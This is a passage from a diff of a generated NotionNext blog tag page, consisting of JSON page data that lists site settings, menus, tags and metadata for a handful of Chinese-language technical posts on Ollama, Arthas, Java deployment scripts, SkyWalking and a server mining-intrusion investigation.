2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":4,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"工具"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"工具"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":4,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 